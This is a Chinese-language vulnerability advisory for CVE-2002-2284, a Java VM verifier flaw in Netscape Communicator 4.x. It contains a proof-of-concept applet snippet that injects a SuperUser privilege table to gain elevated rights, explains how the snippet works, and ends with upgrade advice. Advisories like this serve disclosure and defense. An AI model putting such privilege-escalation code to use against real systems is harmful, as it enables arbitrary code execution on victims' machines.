CVE:CVE-2002-2284
CNNVD:CNNVD-200212-443
Netscape Communicator/Navigator的JVM实现使用了Symantec Just In Time(JIT)编译器，Java虚拟机在共享动态实现，并默认被Netscape Browser使用。
Netscape 4浏览器Java虚拟机实现由于部分方法被调用的时候不安全，远程攻击者可以利用这个漏洞构建恶意Java Applet，在JVM环境中装载恶意类而可能以高权限执行任意代码。
构建如下applet代码运行在Netscape 4.x web浏览器中可以导致权限提升：
PrivilegeManager pm=PrivilegeManager.getPrivilegeManager();
VerifierBug bug=new VerifierBug();
MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm);
Target target=Target.findTarget("SuperUser");
Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED，Privilege.FOREVER);
PrivilegeTable privtab=new PrivilegeTable();
privtab.put(target，priv);
Principal principal=PrivilegeManager.getMyPrincipals()[0];
mpm.itsPrinToPrivTable.put(principal，privtab);
try {
ClassLoader cl=getClass().getClassLoader();
Class c=cl.loadClass("Beyond");
c.newInstance();
} catch (Throwable e) {}
获得Privilege Manager object引用指针的值并保存在pm变量中，然后可利用Netscape JVM中的一个缺陷结合其他漏洞提升权限。
实际提升权限的攻击在如下代码中：
Principal principal=PrivilegeManager.getMyPrincipals()[0];
mpm.itsPrinToPrivTable.put(principal，privtab);
首先，从PrivilegeManager类的Principal列表中获取一个Principal的引用，然后修改mpm的成员变量itsPrinToPrivTable，以给用户applet类增加新的权限信息。成员变量itsPrinToPrivTable是一个hash表，它保存了类的Principals和权限列表之间的关联信息。这样的修改结果，使得一个用户applet类的Principal与系统权限表关联起来。显然，在缺省情况下，applet类的Principals有一个空的权限表，这里，将它们与系统权限表关联起来。
solution:Upgrade netscape communicator to a higher version than 4.0,4.5,4.6,4.7,4.51,4.61,4.72,4.73,4.74,4.75,4.76,4.77,4.78,4.79,and avoid the version 4.0,4.5,4.6,4.7,4.51,4.61,4.72,4.73,4.74,4.75,4.76,4.77,4.78,4.79